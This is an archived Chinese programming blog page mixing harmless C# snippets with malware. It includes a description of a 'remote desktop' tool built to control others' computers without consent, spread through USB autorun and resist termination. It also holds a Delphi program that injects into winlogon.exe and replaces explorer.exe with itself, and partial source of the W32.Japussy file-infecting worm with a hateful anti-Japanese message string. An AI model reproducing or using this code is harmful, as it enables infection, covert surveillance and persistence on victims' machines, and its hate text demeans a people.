Archive for the ‘应用程序研发解决方案’ Category

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace HWL.LOCKDESKTOP
{
class Hook
{
//键盘Hook结构函数
[StructLayout(LayoutKind.Sequential)]
public class KeyBoardHookStruct
{
public int vkCode;
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}

//委托
public delegate int HookProc(int nCode, int wParam, IntPtr lParam);
static int hHook = 0;
public const int WH_KEYBOARD_LL = 13;
(more…)

using System;
using System.IO;
using System.Security.Cryptography;

namespace HWL.FileEncrypt
{
//异常处理类
public class CryptoHelpException : ApplicationException
{
public CryptoHelpException(string msg) : base(msg) { }
}

public class DESFileClass
{
private const ulong FC_TAG = 0xFC010203040506CF;
private const int BUFFER_SIZE = 128 * 1024;
//检验两个Byte数组是否相同,true-相等
private static bool CheckByteArrays(byte[] b1, byte[] b2)
{
if (b1.Length == b2.Length)
{
for (int i = 0; i < b1.Length; ++i)
{
if (b1[i] != b2[i])
return false; (more…)

官方下载地址:https://www.battlenet.com.cn/account/download/

找到游戏客户端下载《魔兽世界®》游戏安装程序
选择Windows客户端下载:https://www.battlenet.com.cn/download/getInstaller?os=win&installer=World-of-Warcraft-Setup-CN.exe
复制下载的URL修改为:https://www.battlenet.com.cn/download/getInstaller?os=MAC&installer=World-of-Warcraft-Setup-CN.zip
或者直接复制上面链接到浏览器下载即可按步骤安装即可

以下是   SendKeys   的一些特殊键代码表。
键   代码
BACKSPACE   {BACKSPACE}、{BS}   或   {BKSP}
BREAK   {BREAK}
CAPS   LOCK   {CAPSLOCK}
DEL   或   DELETE   {DELETE}   或   {DEL}
DOWN   ARROW(下箭头键)   {DOWN}
END   {END}
ENTER   {ENTER}   或   ~
ESC   {ESC}
HELP   {HELP}
HOME   {HOME}
INS   或   INSERT   {INSERT}   或   {INS}
LEFT   ARROW(左箭头键)   {LEFT}
NUM   LOCK   {NUMLOCK}
PAGE   DOWN   {PGDN}
PAGE   UP   {PGUP}
PRINT   SCREEN   {PRTSC}(保留,以备将来使用)
RIGHT   ARROW(右箭头键)   {RIGHT}
SCROLL   LOCK   {SCROLLLOCK}
TAB   {TAB}
UP   ARROW(上箭头键)   {UP}
(more…)

accdb 格式的数据库。access 数据格式已经从一种通用的格式转换为一种私有的格式了。
目前的 MDAC 2.8 SP8 和 JET DB 4.0 都不支持 accdb 格式的数据库。
但不排除以下可能:微软单独开发Microsoft.ACE.OLEDB.12.0的数据引擎安装包,只要安装了这种安装包即使在没有安装 access 2007 的电脑上也能通过编程操作 *.accdb 格式的数据库。
果然微软为新版本的 ACCESS 数据库格式以及 EXCEL 开发了新的单独安装的驱动,不过体积也真不小哦。
只要安装了以下驱动就不需要安装整个 OFFICE 2007 就可以通过连接字串驱动 *.ACCDB 格式的数据库了。
http://www.microsoft.com/downloads/details.aspx?familyid=7554F536-8C28-4598-9B72-EF94E038C891&displaylang=zh-cn

Serials found

Downloads found

C# 远程控制桌面:http://hi.baidu.com/cvxb12/blog/item/f8ac1ad366532e093af3cfb3.html 原作者下榻本空间

远程控制桌面v1.0版编码部分今天已经顺利完成!

开发语言:C#

开发工具:Visual Studio 2008

项目介绍:

为了方便监视他人计算机而开发出来的,远程控制,共包含[一个控制端,一个监控端]

使用方法:

在将要进行控制的计算机上启动客户端程序,在将要监视的计算机上运行服务端,现在您所需要的就是在服务端输入要监控计算机的IP,点击监控即可监控受监控计算机的屏幕,当点击控制的时候,即可完全操作客户端计算机,期间不需要任何Windows身份验证,不需要客户端请求同意,完全强制性控制计算机!

征求各大网友的要求,现把改软件的截图公布出来,以供大家欣赏其芳容。

监视端(Monitor)


监控中…

控制中…

控制端(Console)

技术领域:TCP/IP为主,Bitmap,GDI

版本周期:从远程控制桌面v0.1开始 到 至今v1.0发布 未完待续…

开发周期:7天时间

测试周期:3天时间

测试记录:
2009.06.30 v0.3监控端多线程问题解决
2009.08.03 v0.4控制端占用系统CPU和内存过多资源问题解决
2009.08.05 v0.5控制端卡巴斯基杀毒软件抱恶意代码,未解决
2009.08.06 v0.6监控端增加了IP配置文件,修复了关闭服务端,程序还占用进程问题

2009.10.30 v0.7控制端增加程序通过U盘,移动硬盘AotoInfo自行传播复制到”C:Program FilesInternet Exploreriexplore.exe“和创建Windwos服务自启动功能

———————————————————–源码丢失

2011.01.04 v1.0 监控端新增窗口最大化。控制端新增保护进程,禁止结束进程

计划下个版本推出:控制端新增扫描端口,控制端连接气泡提示

program Project1;

uses
Windows,TlHelp32;

function LowerCase(const S: string): string; //转小写
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ‘A’) and (Ch <= ‘Z’) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
//CloseHandle(MutexHandle);
Result := False;
Exit;
end;
end;
Result := True;
end;

function GetWinPath: string; //取WINDOWS目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>” then Result := Result + ”;
end;

function GetTempDirectory: string; //取临时目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetTempPath(MAX_PATH,Buf);
Result := Buf;
if Result[Length(Result)]<>” then Result := Result + ”;
end;

function EnableDebugPriv : Boolean; //提权为DEBUG
var
hToken : THANDLE;
tp : TTokenPrivileges;
rl : Cardinal;
begin
result := false;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
if LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, tp.Privileges[0].Luid) then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
end;
end;

procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
var
TID: LongWord;
hSfc,hThread: HMODULE;
pfnCloseEvents: Pointer;
begin
hSfc := LoadLibrary(‘sfc_os.dll’);
pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
FreeLibrary(hSfc);
hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
WaitForSingleObject(hThread, 4000);
end;

procedure InitProcess(Name: string); //查找winlogon.exe进程PID
var
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ProcessHandle:dword;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
If Name = LowerCase(FProcessEntry32.szExeFile) then
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
InjectThread(ProcessHandle);
CloseHandle(ProcessHandle);
Break;
end;
until not Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

const ExpFile = ‘explorer.exe’;
MasterMutex = ‘OpenSoul’;

var
s: string;
begin
if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
if not EnableDebugPriv then Exit; //提权失败退出
InitProcess(‘winlogon.exe’) ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
s := ParamStr(0) ; //取本名
if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
begin //如果不是
MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + ‘system32explorer.exe’),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe
end;
WinExec(PChar(GetWinPath + ‘system32explorer.exe’),1); //运行真正的explorer.exe
end.

十一月 18th, 2010

某病毒源码

No Comments, 应用程序研发解决方案, by 小哥.
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;             //病毒体的大小
IconOffset = $12EB8;           //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912;             //Upx压缩过病毒体的大小
IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;             //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID       = $44444444;         //感染标记
//垃圾码,以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
        ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
        ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si:     STARTUPINFO;
Pi:     PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end; (more...)

事件编号:20101118001

方法一
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
/*******************************
* 程序启动全屏
* Hewill
* 2009-08-21
******************************/
namespace WindowsFormsApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

public const int HWND_NOTOPMOST= -2;
public const int SWP_SHOWWINDOW=0x0040;
[DllImport(“user32.dll”)]
private static extern IntPtr FindWindowEx(int hwnd2, int hWnd2, string lpsz1, string lpsz2);
[DllImport(“user32.dll”)]
private static extern int GetWindowLong (IntPtr hwnd, int nIndex);
[DllImport(“user32.dll”)]
private static extern int SetWindowPos(IntPtr hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private void Form1_Load(object sender, EventArgs e)
{
IntPtr test = FindWindowEx(0, 0, “Shell_TrayWnd”, “”);
Console.WriteLine(test.ToString());
int test5 = SetWindowPos(test, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_SHOWWINDOW);
this.TopMost = true;
this.FormBorderStyle = FormBorderStyle.None;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;
this.Top = 0;
this.Left = 0;
}
}
}

方法二:
private void button1_Click(object sender, EventArgs e)
{
if (this.FormBorderStyle == FormBorderStyle.None)
{
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.WindowState = FormWindowState.Normal;
}
else
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
}
}